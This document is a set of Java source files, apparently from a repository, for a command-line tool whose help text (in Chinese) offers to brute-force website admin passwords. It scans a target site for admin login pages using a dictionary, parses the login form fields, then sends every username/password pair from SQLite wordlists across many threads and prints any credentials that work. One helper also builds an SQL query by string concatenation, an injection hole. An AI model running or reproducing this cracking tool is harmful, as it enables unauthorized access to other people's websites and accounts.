        throws SQLException { throw unused(); }



    public BigDecimal getBigDecimal(int col)



        throws SQLException { throw unused(); }



    public BigDecimal getBigDecimal(int col, int s)



        throws SQLException { throw unused(); }



    public BigDecimal getBigDecimal(String col)



        throws SQLException { throw unused(); }



    public BigDecimal getBigDecimal(String col, int s)



        throws SQLException { throw unused(); }



    public InputStream getBinaryStream(int col)



        throws SQLException { throw unused(); }



    public InputStream getBinaryStream(String col)



        throws SQLException { throw unused(); }



    public Blob getBlob(int col)



        throws SQLException { throw unused(); }



    public Blob getBlob(String col)



        throws SQLException { throw unused(); }



    public Clob getClob(int col)



        throws SQLException { throw unused(); }



    public Clob getClob(String col)



        throws SQLException { throw unused(); }



    public Object getObject(int col, Map map)



        throws SQLException { throw unused(); }



    public Object getObject(String col, Map map)



        throws SQLException { throw unused(); }



    public Ref getRef(int i)



        throws SQLException { throw unused(); }



    public Ref getRef(String col)



        throws SQLException { throw unused(); }







    public InputStream getUnicodeStream(int col)



        throws SQLException { throw unused(); }



    public InputStream getUnicodeStream(String col)



        throws SQLException { throw unused(); }



    public URL getURL(int col)



        throws SQLException { throw unused(); }



    public URL getURL(String col)



        throws SQLException { throw unused(); }







    public void insertRow() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public void moveToCurrentRow() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public void moveToInsertRow() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public boolean last() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public boolean previous() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public boolean relative(int rows) throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public boolean absolute(int row) throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public void afterLast() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public void beforeFirst() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }



    public boolean first() throws SQLException {



        throw new SQLException("ResultSet is TYPE_FORWARD_ONLY"); }







    public void cancelRowUpdates()



        throws SQLException { throw unused(); }



    public void deleteRow()



        throws SQLException { throw unused(); }







    public void updateArray(int col, Array x)



        throws SQLException { throw unused(); }



    public void updateArray(String col, Array x)



        throws SQLException { throw unused(); }



    public void updateAsciiStream(int col, InputStream x, int l)



        throws SQLException { throw unused(); }



    public void updateAsciiStream(String col, InputStream x, int l)



        throws SQLException { throw unused(); }



    public void updateBigDecimal(int col, BigDecimal x)



        throws SQLException { throw unused(); }



    public void updateBigDecimal(String col, BigDecimal x)



        throws SQLException { throw unused(); }



    public void updateBinaryStream(int c, InputStream x, int l)



        throws SQLException { throw unused(); }



    public void updateBinaryStream(String c, InputStream x, int l)



        throws SQLException { throw unused(); }



    public void updateBlob(int col, Blob x)



        throws SQLException { throw unused(); }



    public void updateBlob(String col, Blob x)



        throws SQLException { throw unused(); }



    public void updateBoolean(int col, boolean x)



        throws SQLException { throw unused(); }



    public void updateBoolean(String col, boolean x)



        throws SQLException { throw unused(); }



    public void updateByte(int col, byte x)



        throws SQLException { throw unused(); }



    public void updateByte(String col, byte x)



        throws SQLException { throw unused(); }



    public void updateBytes(int col, byte[] x)



        throws SQLException { throw unused(); }



    public void updateBytes(String col, byte[] x)



        throws SQLException { throw unused(); }



    public void updateCharacterStream(int c, Reader x, int l)



        throws SQLException { throw unused(); }



    public void updateCharacterStream(String c, Reader r, int l)



        throws SQLException { throw unused(); }



    public void updateClob(int col, Clob x)



        throws SQLException { throw unused(); }



    public void updateClob(String col, Clob x)



        throws SQLException { throw unused(); }



    public void updateDate(int col, Date x)



        throws SQLException { throw unused(); }



    public void updateDate(String col, Date x)



        throws SQLException { throw unused(); }



    public void updateDouble(int col, double x)



        throws SQLException { throw unused(); }



    public void updateDouble(String col, double x)



        throws SQLException { throw unused(); }



    public void updateFloat(int col, float x)



        throws SQLException { throw unused(); }



    public void updateFloat(String col, float x)



        throws SQLException { throw unused(); }



    public void updateInt(int col, int x)



        throws SQLException { throw unused(); }



    public void updateInt(String col, int x)



        throws SQLException { throw unused(); }



    public void updateLong(int col, long x)



        throws SQLException { throw unused(); }



    public void updateLong(String col, long x)



        throws SQLException { throw unused(); }



    public void updateNull(int col)



        throws SQLException { throw unused(); }



    public void updateNull(String col)



        throws SQLException { throw unused(); }



    public void updateObject(int c, Object x)



        throws SQLException { throw unused(); }



    public void updateObject(int c, Object x, int s)



        throws SQLException { throw unused(); }



    public void updateObject(String col, Object x)



        throws SQLException { throw unused(); }



    public void updateObject(String c, Object x, int s)



        throws SQLException { throw unused(); }



    public void updateRef(int col, Ref x)



        throws SQLException { throw unused(); }



    public void updateRef(String c, Ref x)



        throws SQLException { throw unused(); }



    public void updateRow()



        throws SQLException { throw unused(); }



    public void updateShort(int c, short x)



        throws SQLException { throw unused(); }



    public void updateShort(String c, short x)



        throws SQLException { throw unused(); }



    public void updateString(int c, String x)



        throws SQLException { throw unused(); }



    public void updateString(String c, String x)



        throws SQLException { throw unused(); }



    public void updateTime(int c, Time x)



        throws SQLException { throw unused(); }



    public void updateTime(String c, Time x)



        throws SQLException { throw unused(); }



    public void updateTimestamp(int c, Timestamp x)



        throws SQLException { throw unused(); }



    public void updateTimestamp(String c, Timestamp x)



        throws SQLException { throw unused(); }







    public void refreshRow()



        throws SQLException { throw unused(); }



}
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package tools;





import java.io.UnsupportedEncodingException;


import java.sql.Connection;


import java.sql.DriverManager;


import java.sql.ResultSet;


import java.sql.SQLException;


import java.sql.Statement;


import java.util.HashMap;


import java.util.LinkedList;


import java.util.Map;





public class DBMethod


{


    Connection conn;


    Statement stat;


    public DBMethod()


    {


        try


        {


            Class.forName("org.sqlite.JDBC");


            conn = DriverManager.getConnection("jdbc:sqlite:dic.db");


            stat = conn.createStatement();


        }


        catch (ClassNotFoundException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        } catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


    }


    public LinkedList<Map<String, String>> LoadAdminURL()


    {


        


        LinkedList<Map<String, String>> link = new LinkedList<Map<String,String>>();


        try


        {


            ResultSet rs = stat.executeQuery("select * from admin group by adminLOGIN_PARAM order by adminLOGIN_PARAM;");


            while (rs.next())


            {


                Map<String, String> map = new HashMap<String, String>();


                map.put("id", rs.getString("id"));


                map.put("adminURL", rs.getString("adminURL"));


                map.put("adminCHECK_LOGIN", rs.getString("adminCHECK_LOGIN"));


                map.put("adminLOGIN_PARAM", rs.getString("adminLOGIN_PARAM"));


                link.add(map);


                /*System.out.println("adminURL = " + rs.getString("adminURL"));


                System.out.println("adminCHECK_LOGIN = " + rs.getString("adminCHECK_LOGIN"));


                System.out.println("adminLOGIN_PARAM = " + rs.getString("adminLOGIN_PARAM"));*/


            }


            rs.close();


        } catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return link;


    }


    


    public LinkedList<String> LoadUsername()


    {


        


        LinkedList<String> link = new LinkedList<String>();


        try


        {


            


            ResultSet rs = stat.executeQuery("select * from username group by username order by username;");


            while (rs.next())


            {


                link.add(rs.getString("username"));


                //System.out.println("Username = " + rs.getString("username"));


            }


            rs.close();


        }


        catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return link;


    }


    


    public LinkedList<String> LoadPassword()


    {


        


        LinkedList<String> link = new LinkedList<String>();


        try


        {


            ResultSet rs = stat.executeQuery("select * from password group by password order by password;");


            while (rs.next())


            {


                link.add(rs.getString("password"));


                //System.out.println("Password = " + rs.getString("password"));


            }


            rs.close();


        }


        catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return link;


    }


    


    public LinkedList<String> LoadErrorList()


    {


        


        LinkedList<String> link = new LinkedList<String>();


        try


        {


            ResultSet rs = stat.executeQuery("select * from error group by errorinfo order by errorinfo;");


            while (rs.next())


            {


                link.add(rs.getString("errorinfo"));


            }


            rs.close();


        }


        catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return link;


    }


    


    public String GetParamById(String id)


    {


        


        LinkedList<String> link = new LinkedList<String>();


        try


        {


            ResultSet rs = stat.executeQuery("select * from admin where id="+id+";");


            while (rs.next())


            {


                return rs.getString("adminLOGIN_PARAM");


                //System.out.println("Password = " + rs.getString("password"));


            }


            rs.close();


        }


        catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return "";


    }


    public void CloseConn()


    {


        try


        {


            conn.close();


        } catch (SQLException e)


        {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


    }


}
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package main;


import java.util.ArrayList;


import java.util.HashMap;


import java.util.LinkedList;


import java.util.List;


import java.util.Map;


import java.util.concurrent.CountDownLatch;


import java.util.concurrent.atomic.AtomicBoolean;





import javax.swing.text.html.HTMLDocument.HTMLReader.SpecialAction;





import org.jsoup.Jsoup;


import org.jsoup.nodes.Document;


import org.jsoup.nodes.Element;





import tools.HttpRequest;


import tools.UrlDeal;


/*


 * 检测网站的登陆地址


 * 传入网站地址，字典


 * 返回登陆信息


 * */


public class GetAdminURL 


{


    //解析HTML的表单，获取登陆参数


    public static String[] ParseLogCheck(String sAdminURL, String encode, int timeout)


    {


        String sHTML = HttpRequest.sendGet(sAdminURL,null, encode,2000);


        Document document = Jsoup.parse(sHTML);


        org.jsoup.select.Elements elements = document.getElementsByTag("form");


        String action=null,login=null,password=null,submit=null,submitval=null,hiddenname="",hiddenval="",params=null;


        String[] sInfo = new String[2];


        action = elements.attr("action");


        elements = document.getElementsByTag("input");


        for(Element element:elements)


        {


            if(login==null && element.attr("type").equals("text"))//获得账号框


            {


                login = element.attr("name");


            }


            else if(password==null && element.attr("type").equals("password"))//获得密码框


            {


                password = element.attr("name");


            }else if(submit==null && submitval==null && element.attr("type").equals("submit"))//获得提交按钮


            {


                submit = element.attr("name");


                submitval = element.attr("value");


            }else if(element.attr("type").equals("hidden")){//可能有隐藏域


                hiddenname = element.attr("name");


                hiddenval  = element.attr("value");


            }


        }


        


        if(login!=null&&password!=null&&submit!=null)


        {


            params=login+"=%user%&"+password+"="+"%pass%&"+ submit+"="+ UrlDeal.encodeURIComponent(submitval)+"&"+hiddenname+"="+hiddenval;


        }


        String[] sTmp = sAdminURL.split("/");


        String sRoot= sAdminURL.replace(sTmp[sTmp.length-1], "");


        if(action.contains("http://"))//如果action直接就是url则不需要跟路径


        {


            sRoot="";


        }


        


        if(action.contains("?"))//如果提交地址含有?则只取地址


        {


            sTmp = action.split("[?]");


            sInfo[0] = sRoot + sTmp[0];


        }else {


            sInfo[0] = sRoot + action;


        }


        sInfo[1] = params;


        return sInfo;


    }


    //检测管理页面 登陆入口 找到后返回String数组 0号存登陆入口 1号存登陆参数


    public static String[] ScanUrl(final String website, final LinkedList<Map<String, String>> dics, int ThreadCount, final String encode, final int timeout)


    {


        final String temp[] = new String[2];


        final int length = dics.size();//所有记录的长度


        int part = length/ThreadCount, rem = length%ThreadCount;//每一个线程分配字典的数量


        final CountDownLatch threadsSignal= new CountDownLatch(ThreadCount);


        


        for(int i=1;i<=ThreadCount;i++)


        {


            final int low=part*(i-1);


            final int up;


            if(i<ThreadCount)


            {


                up = part*i-1;


            }


            else {//最后一个线程，把剩下的字典都分给他


                up = part*i-1+rem;


            }


            new Thread(){


                @Override


                public void run()


                {


                    super.run();


                    for(int i=low;i<=up;i++)


                    {


                        String dic,url,login_check,param;


                        dic = dics.get(i).get("adminURL").toString();//获取后台管理页面


                        url = website+dic;


                        System.out.println("正在检测:"+url + 


                                "("+ (i+1) +"/" + dics.size() + ")");


                        if(HttpRequest.Isvalid1(url))


                        {


                            System.out.println("检测到管理页面: " + url + "存在");


                            String []sTmp=ParseLogCheck(url, encode, timeout);//通过解析管理页面登陆，获得登陆提交地址


                            login_check = sTmp[0];


                            param = sTmp[1];


                            if(HttpRequest.Isvalid1(login_check) && param!=null)//检测是否有效


                            {


                                System.out.println("检测到登录入口: " + login_check + "存在");


                                temp[0]=login_check;


                                temp[1]=param;


                                System.out.println("成功分析出登陆参数！");


                                System.out.println("提交信息为:"+login_check+"?"+param);


                                break;


                            }//无效直接从数据库提取


                            else


                            {


                                System.out.println("分析提取失败，准备从数据库检索登录信息");


                                login_check = website+dics.get(i).get("adminCHECK_LOGIN").toString();;


                                if(HttpRequest.Isvalid1(url)==true)


                                {


                                    System.out.println("检测到登录入口: " + login_check + "存在");


                                    param = dics.get(i).get("adminLOGIN_PARAM").toString();


                                    temp[0]=login_check;


                                    temp[1]=param;


                                    break;


                                }


                            }


                        }


                    }


                    //System.out.println(Thread.currentThread().getName() + "结束. 还有" + threadsSignal.getCount() + " 个线程");  


                    threadsSignal.countDown();//线程结束时计数器减1  


                }


            }.start();


        }


        


        try


        {


            threadsSignal.await();


        } catch (InterruptedException e)


        {


            e.printStackTrace();


        }


        return temp;


    }


}
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package tools;


import java.io.BufferedReader;


import java.io.IOException;


import java.io.InputStreamReader;


import java.io.PrintWriter;


import java.io.UnsupportedEncodingException;


import java.net.HttpURLConnection;


import java.net.MalformedURLException;


import java.net.URL;


import java.net.URLConnection;


import java.util.List;


import java.util.Map;





public class HttpRequest {


    /**


     * 向指定URL发送GET方法的请求


     * 


     * @param url


     *            发送请求的URL


     * @param param


     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。


     * @return URL 所代表远程资源的响应结果


     */


    public static String sendGet(String url, String param, String encode, int timeout) {


        String result = "";


        BufferedReader in = null;


        try {


            String urlNameString;


            if(param!=null && param.length()>0)


            {


                urlNameString = url + "?" + param;


            }


            else {


                urlNameString = url;


            }


            URL realUrl = new URL(urlNameString);


            


            // 打开和URL之间的连接


            URLConnection connection = realUrl.openConnection();


            connection.setConnectTimeout(timeout);


            // 设置通用的请求属性


            connection.setRequestProperty("accept", "*/*");


            connection.setRequestProperty("connection", "Keep-Alive");


            connection.setRequestProperty("user-agent",


                    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");


            // 建立实际的连接


            connection.connect();


            // 获取所有响应头字段


            Map<String, List<String>> map = connection.getHeaderFields();


            // 遍历所有的响应头字段


            /*for (String key : map.keySet()) {


                System.out.println(key + "--->" + map.get(key));


            }*/


            // 定义 BufferedReader输入流来读取URL的响应


            in = new BufferedReader(new InputStreamReader(


                    connection.getInputStream(), encode));


            String line;


            while ((line = in.readLine()) != null) {


                result += line;


            }


        } catch (Exception e) {


            System.out.println("发送GET请求出现异常！" + e);


            e.printStackTrace();


        }


        // 使用finally块来关闭输入流


        finally {


            try {


                if (in != null) {


                    in.close();


                }


            } catch (Exception e2) {


                e2.printStackTrace();


            }


        }


        return result;


    }





    /**


     * 向指定 URL 发送POST方法的请求


     * 


     * @param url


     *            发送请求的 URL


     * @param param


     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。


     * @return 所代表远程资源的响应结果


     */


    public static String sendPost(String url, String param, String encode, int timeout) {


        PrintWriter out = null;


        BufferedReader in = null;


        String result = "";


        try {


            URL realUrl = new URL(url);


            // 打开和URL之间的连接


            URLConnection conn = realUrl.openConnection();


            conn.setConnectTimeout(timeout);


            // 设置通用的请求属性


            conn.setRequestProperty("accept", "*/*");


            conn.setRequestProperty("connection", "Keep-Alive");


            conn.setRequestProperty("user-agent",


                    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");


            // 发送POST请求必须设置如下两行


            conn.setDoOutput(true);


            conn.setDoInput(true);


            // 获取URLConnection对象对应的输出流


            out = new PrintWriter(conn.getOutputStream());


            // 发送请求参数


            out.print(param);


            // flush输出流的缓冲


            out.flush();


            // 定义BufferedReader输入流来读取URL的响应


            in = new BufferedReader(


                    new InputStreamReader(conn.getInputStream(), encode));


            String line;


            while ((line = in.readLine()) != null) {


                result += line;


            }


        } catch (Exception e) {


            System.out.println("发送 POST 请求出现异常！"+e);


            e.printStackTrace();


        }


        //使用finally块来关闭输出流、输入流


        finally{


            try{


                if(out!=null){


                    out.close();


                }


                if(in!=null){


                    in.close();


                }


            }


            catch(IOException ex){


                ex.printStackTrace();


            }


        }


        return result;


    }    


    public static Boolean Isvalid(String urls)


    {


        URL url;


        try {


            url = new URL(urls);


            HttpURLConnection http = (HttpURLConnection)url.openConnection();


            if(http.getResponseCode() == 200)


            {


                return true;


            }


        } catch (MalformedURLException e) {


            // TODO Auto-generated catch block


            e.printStackTrace();


        } catch (IOException e) {


            // TODO Auto-generated catch block


            e.printStackTrace();


        }


        return false;


    }


    public static Boolean Isvalid1(String urls)


    {


        URL url;


        try


        {


            url = new URL(urls);


            URLConnection conn=url.openConnection();


            String str=conn.getHeaderField(0);


            if (str!=null && str.indexOf("OK")>0)


            {


                return true;


            }    


        } catch (MalformedURLException e)


        {


            e.printStackTrace();


        } catch (IOException e)


        {


            e.printStackTrace();


        }


        return false;


    }


}
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package main;





import java.util.LinkedList;


import java.util.Map;





import tools.DBMethod;


import tools.HttpRequest;


import tools.Others;





public class main {


    static LinkedList<Map<String, String>> link_url;


    static LinkedList<String> link_username;


    static LinkedList<String> link_password;


    static LinkedList<String> link_error;


    public static Boolean LoadDic()


    {


        DBMethod dbMethod = new DBMethod();


        link_url=dbMethod.LoadAdminURL();


        link_username=dbMethod.LoadUsername();


        link_password=dbMethod.LoadPassword();


        link_error=dbMethod.LoadErrorList();


        dbMethod.CloseConn();


        return (link_url.size()>0 && link_username.size()>0 && link_password.size()>0);


    }


    public static void PrintHelpInfo()


    {


        System.out.println("本程序可以暴力破解网站后台密码，支持自动破解和手动破解两种模式");


        System.out.println("自动破解使用 -w参数 例如： -w http://www.example.com");


        System.out.println("手动破解需要指明-l -p参数,-l代表后台提交账号密码的入口 -p代表登陆提交时的参数");


        System.out.println("例如： action=login&loginlang=login.php?langset=cn&login_name=%user%&login_pass=%pass%&Submit=%E7%99%BB%E5%BD%95");


        System.out.println("参数通过抓包可以得到，然后将账号，密码的值替换成%user%和%pass%");


        System.out.println("通过-t指定线程数量 建议5-20个，根据字典的数量自行选择");


        System.out.println("您还可以通过-o来指定超时，默认3000ms");


        System.out.println("指定-s参数时，当破解出一个账户就退出");


    }


    


    public static void main(String[] args)


    {


        String webSite=null, login_url=null, params=null,Encode=null;


        int threadcount=5,timeout = 1000;


        Boolean succeedstop=false;


        if (args.length==0)


        {


            PrintHelpInfo();


            return;


        }


        for(int i=0;i<args.length;i++)


        {


            if(args[i].equals("-w"))


            {


                if(i==args.length-1 || !args[i+1].contains("http://"))


                {


                    System.out.println("网站格式不合法！ 例如： http://www.example.com");


                    return;


                }


                webSite = args[i+1];//指定网站


            }


            else 


            {


                if(args[i].equals("-l"))


                {


                    


                    if(i==args.length-1 || !args[i+1].contains("http://"))


                    {


                        System.out.println("登陆入口格式不合法！ 例如： http://www.example.com/admin/login/login_check.php");


                        return;


                    }


                    login_url = args[i+1];//指定登陆入口


                }


                


                if(args[i].equals("-p"))


                {


                    if(i==args.length-1 || !args[i+1].contains("%user%")||!args[i+1].contains("%pass%")||!args[i+1].contains("&"))


                    {


                        System.out.println("登陆参数格式不合法！ 例如： -p action=login&loginlang=login.php?langset=cn&login_name=%user%&login_pass=%pass%&Submit=%E7%99%BB%E5%BD%95");


                        System.out.println("参数通过抓包可以得到，然后将账号，密码的值替换成%user%和%pass%");


                        return;


                    }


                    params = args[i+1];


                    


                }


            }


            


            if(args[i].equals("-t"))


            {


                


                if(i==args.length-1 || !Others.isNumeric(args[i+1]))


                {


                    System.out.println("线程数请输入整数 建议5-20个，根据字典的数量自行选择");


                    return;


                }


                threadcount = Integer.valueOf(args[i+1]);


            }


            


            if(args[i].equals("-o"))


            {


                


                if(i==args.length-1 || !Others.isNumeric(args[i+1]))


                {


                    System.out.println("超时请输入整数 默认3000，根据网络情况选择");


                    return;


                }


                timeout = Integer.valueOf(args[i+1]);


            }


            


            if(args[i].equals("-s"))//破解出一个就自动停止


            {


                succeedstop=true;


            }


            


            if(args[i].equals("-h"))


            {


                PrintHelpInfo();


                return;


            }


        }


        


        LoadDic();


        


        System.out.println("准备载入字典");


        if(LoadDic())


        {


            System.out.println("字典载入成功");


        }


        else 


        {


            System.out.println("字典载入失败");


            return;


        }





        System.out.println("准备破解");


        


        if(webSite!=null)//给定网站自动破解


        {


            Encode = Others.GetEncode(webSite, timeout);


            System.out.println("网站编码为 "+Encode);


            System.out.println("开始自动破解");


            String[] loginURL;


            loginURL = GetAdminURL.ScanUrl(webSite, link_url, threadcount, Encode, timeout);


            


            if(loginURL!=null && loginURL[0]!=null && loginURL[1]!=null)


            {


                TryLogin tryLogin = new TryLogin(loginURL[0], loginURL[1],link_username, link_password, link_error, threadcount, Encode, timeout, succeedstop);


                LinkedList<Map<String, String>> lined = tryLogin.DoLogin();


                if(lined.size()>0)


                {


                    System.out.println("破解成功");


                    for(Map<String, String> map:lined)


                    {


                        System.out.println("用户名:"+map.get("username").toString());


                        System.out.println("密码:"+map.get("password").toString());


                        System.out.println("返回信息:"+map.get("info").toString());


                    }


                }


                else {


                    System.out.println("破解失败");


                }


            }


            else 


            {


                System.out.println("破解失败，原因是未扫描到后台入口");


            }


        }


        else if(login_url!=null && params!=null)//自定义入口 参数等


        {


            System.out.println("开始指定参数的破解");


            Encode = Others.GetEncode(login_url, timeout);


            System.out.println("网站编码为 "+Encode);


            TryLogin tryLogin = new TryLogin(login_url, params, link_username, link_password, link_error, threadcount, Encode, timeout, succeedstop);


            LinkedList<Map<String, String>> lined = tryLogin.DoLogin();


            if(lined.size()>0)


            {


                System.out.println("破解成功");


                for(Map<String, String> map:lined)


                {


                    System.out.println("用户名:"+map.get("username").toString());


                    System.out.println("密码:"+map.get("password").toString());


                }


            }


            else {


                System.out.println("破解失败");


            }


        }


        else {


            System.out.println("给定参数错误！");


        }


    }


}
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package tools;





public class Others


{


    public static String GetEncode(String url, int timeout)//检测网页编码格式


    {


        if(!url.contains("http://"))url="http://"+url;


        String temp = url.replace("http://","");


        String str1[] = temp.split("/");


        temp = "http://" + str1[0];//得到首页地址


        String webContent = HttpRequest.sendGet(temp, null, "utf-8",timeout);


        if(webContent.toLowerCase().contains("gb2312"))


        {


            return "gb2312";


        }


        else if(webContent.toLowerCase().contains("GBK"))


        {


            return "GBK";


        }


        else if(webContent.toLowerCase().contains("ISO-8859-1"))


        {


            return "ISO-8859-1";


        }


        else if(webContent.toLowerCase().contains("BIG5"))


        {


            return "BIG5";


        }


        else if(webContent.toLowerCase().contains("utf-8"))


        {


            return "utf-8";


        }


        return "utf-8";


    }


    public static boolean isNumeric(String str){


           for(int i=str.length();--i>=0;){


              int chr=str.charAt(i);


              if(chr<48 || chr>57)


                 return false;


           }


           return true;


        }


}
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package main;





import java.io.UnsupportedEncodingException;


import java.util.HashMap;


import java.util.LinkedList;


import java.util.Map;


import java.util.concurrent.CountDownLatch;





import tools.HttpRequest;


/*


 * 进行暴力破解


 * 传入登陆地址，用户名密码列表，线程数


 * 返回破解得到的用户名密码


 * 


 * 


 * */


public class TryLogin


{


    LinkedList<String> sUsername, sPassword, sErrorList;


    String sURL, Param;


    int ThreadCount, timeout;


    String Encode;


    final Boolean successedquit;//成功就退出


    Boolean isstop=false;//为真时线程结束，停止破解


    TryLogin(String sURL,String Param, LinkedList<String> sUserName, LinkedList<String> sPassword, LinkedList<String> sErrorList,int ThreadCount, String Encode, int timeout, Boolean successedquit)


    {


        this.sUsername = sUserName;


        this.sPassword = sPassword;


        this.sURL = sURL;


        this.Param = Param;


        this.ThreadCount = ThreadCount;


        this.Encode = Encode;


        this.timeout = timeout;


        this.sErrorList = sErrorList;


        this.successedquit = successedquit;


    }


    


    Boolean IsError(String sInfo)


    {


        for(String str:sErrorList)


        {


            if(sInfo.contains(str))


            {


                return true;


            }


        }


        return false;


    }


    


    LinkedList<Map<String, String>> DoLogin()


    {


        final LinkedList<Map<String, String>> linkedList= new LinkedList<Map<String,String>>();


        final LinkedList<Map<String, String>> userpass= new LinkedList<Map<String,String>>();


        for(String username:sUsername)


        {


            for(String password:sPassword)


            {


                Map<String, String> map = new HashMap<String, String>();


                map.put("username", username);


                map.put("password", password);


                linkedList.add(map);


            }


        }


        


        final int length = linkedList.size();//所有记录的长度


        int part = length/ThreadCount, rem = length%ThreadCount;//每一个线程分配字典的数量


        final CountDownLatch threadsSignal= new CountDownLatch(ThreadCount);


        


        for(int i=1;i<=ThreadCount;i++)


        {


            final int low=part*(i-1);


            final int up;


            if(i<ThreadCount)


            {


                up = part*i-1;


            }


            else {//最后一个线程，把剩下的字典都分给他


                up = part*i-1+rem;


            }


            


            new Thread(){


                @Override


                public void run()


                {


                    super.run();


                    //System.out.println(low+"~"+up);


                    for(int i=low;i<=up;i++)


                    {


                        if(isstop)stop();


                        String username = linkedList.get(i).get("username").toString(), password = linkedList.get(i).get("password").toString();


                        String temp="";


                        if(Param.contains("%user%"))


                            temp=Param.replace("%user%", username);


                        if(temp.contains("%pass%"))


                            temp=temp.replace("%pass%", password);


                        String webContent = HttpRequest.sendPost(sURL, temp,Encode, timeout);//返回信息


                        System.out.println(webContent);


                        if(webContent.length()<=0 || IsError(webContent))//返回为空 或者返回错误列表中的信息判断为登陆失败


                        {


                            System.out.println("尝试"+username+"/"+password+"失败"+"("+(i+1)+"/"+length+")");


                        }


                        else


                        {


                            System.out.println("尝试"+username+"/"+password+"成功"+"("+(i+1)+"/"+length+")");


                            Map<String, String> map = new HashMap<String, String>();


                            map.put("username", username);


                            map.put("password", password);


                            map.put("info", webContent);


                            userpass.add(map);


                            if(successedquit)//破解一个成功就退出


                            {


                                isstop = true;


                                while(threadsSignal.getCount()!=0)


                                {


                                    threadsSignal.countDown();


                                    try


                                    {


                                        sleep(1000);


                                    } catch (InterruptedException e)


                                    {


                                        // TODO Auto-generated catch block


                                        e.printStackTrace();


                                    }


                                }


                                return;


                            }


                        }


                    }


                    threadsSignal.countDown();


                }


            }.start();


        }


        


        try


        {


            threadsSignal.await();


        } catch (InterruptedException e)


        {


            e.printStackTrace();


        }


        return userpass;


    }


}
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package tools;





import java.io.UnsupportedEncodingException;





public class UrlDeal


{


    public static final String ALLOWED_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.!~*'()";





    public static String encodeURIComponent(String input)


    {


        if (input == null || "".equals(input))


        {


            return input;


        }





        int l = input.length();


        StringBuilder o = new StringBuilder(l * 3);


        try


        {


            for (int i = 0; i < l; i++)


            {


                String e = input.substring(i, i + 1);


                if (ALLOWED_CHARS.indexOf(e) == -1)


                {


                    byte[] b = e.getBytes("utf-8");


                    o.append(getHex(b));


                    continue;


                }


                o.append(e);


            }


            return o.toString();


        } catch (UnsupportedEncodingException e)


        {


            e.printStackTrace();


        }


        return input;


    }





    private static String getHex(byte buf[])


    {


        StringBuilder o = new StringBuilder(buf.length * 3);


        for (int i = 0; i < buf.length; i++)


        {


            int n = (int) buf[i] & 0xff;


            o.append("%");


            if (n < 0x10)


            {


                o.append("0");


            }


            o.append(Long.toString(n, 16).toUpperCase());


        }


        return o.toString();


    }





    public static String decodeURIComponent(String encodedURI)


    {


        char actualChar;





        StringBuffer buffer = new StringBuffer();





        int bytePattern, sumb = 0;





        for (int i = 0, more = -1; i < encodedURI.length(); i++)


        {


            actualChar = encodedURI.charAt(i);





            switch (actualChar)


            {


            case '%':


            {


                actualChar = encodedURI.charAt(++i);


                int hb = (Character.isDigit(actualChar) ? actualChar - '0' : 10 + Character.toLowerCase(actualChar) - 'a') & 0xF;


                actualChar = encodedURI.charAt(++i);


                int lb = (Character.isDigit(actualChar) ? actualChar - '0' : 10 + Character.toLowerCase(actualChar) - 'a') & 0xF;


                bytePattern = (hb << 4) | lb;


                break;


            }


            case '+':


            {


                bytePattern = ' ';


                break;


            }


            default:


            {


                bytePattern = actualChar;


            }


            }





            if ((bytePattern & 0xc0) == 0x80)


            { // 10xxxxxx


                sumb = (sumb << 6) | (bytePattern & 0x3f);


                if (--more == 0)


                    buffer.append((char) sumb);


            } else if ((bytePattern & 0x80) == 0x00)


            { // 0xxxxxxx


                buffer.append((char) bytePattern);


            } else if ((bytePattern & 0xe0) == 0xc0)


            { // 110xxxxx


                sumb = bytePattern & 0x1f;


                more = 1;


            } else if ((bytePattern & 0xf0) == 0xe0)


            { // 1110xxxx


                sumb = bytePattern & 0x0f;


                more = 2;


            } else if ((bytePattern & 0xf8) == 0xf0)


            { // 11110xxx


                sumb = bytePattern & 0x07;


                more = 3;


            } else if ((bytePattern & 0xfc) == 0xf8)


            { // 111110xx


                sumb = bytePattern & 0x03;


                more = 4;


            } else


            { // 1111110x


                sumb = bytePattern & 0x01;


                more = 5;


            }


        }


        return buffer.toString();


    }


}
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package tools;
public synchronized class DBMethod {
    java.sql.Connection conn;
    java.sql.Statement stat;
    public void DBMethod();
    public java.util.LinkedList LoadAdminURL();
    public java.util.LinkedList LoadUsername();
    public java.util.LinkedList LoadPassword();
    public java.util.LinkedList LoadErrorList();
    public String GetParamById(String);
    public void CloseConn();
}
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package main;
synchronized class GetAdminURL$1 extends Thread {
    void GetAdminURL$1(int, int, java.util.LinkedList, String, String, int, String[], java.util.concurrent.CountDownLatch);
    public void run();
}
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package main;
public synchronized class GetAdminURL {
    public void GetAdminURL();
    public static String[] ParseLogCheck(String, String, int);
    public static String[] ScanUrl(String, java.util.LinkedList, int, String, int);
}
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package tools;
public synchronized class HttpRequest {
    public void HttpRequest();
    public static String sendGet(String, String, String, int);
    public static String sendPost(String, String, String, int);
    public static Boolean Isvalid(String);
    public static Boolean Isvalid1(String);
}
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package main;
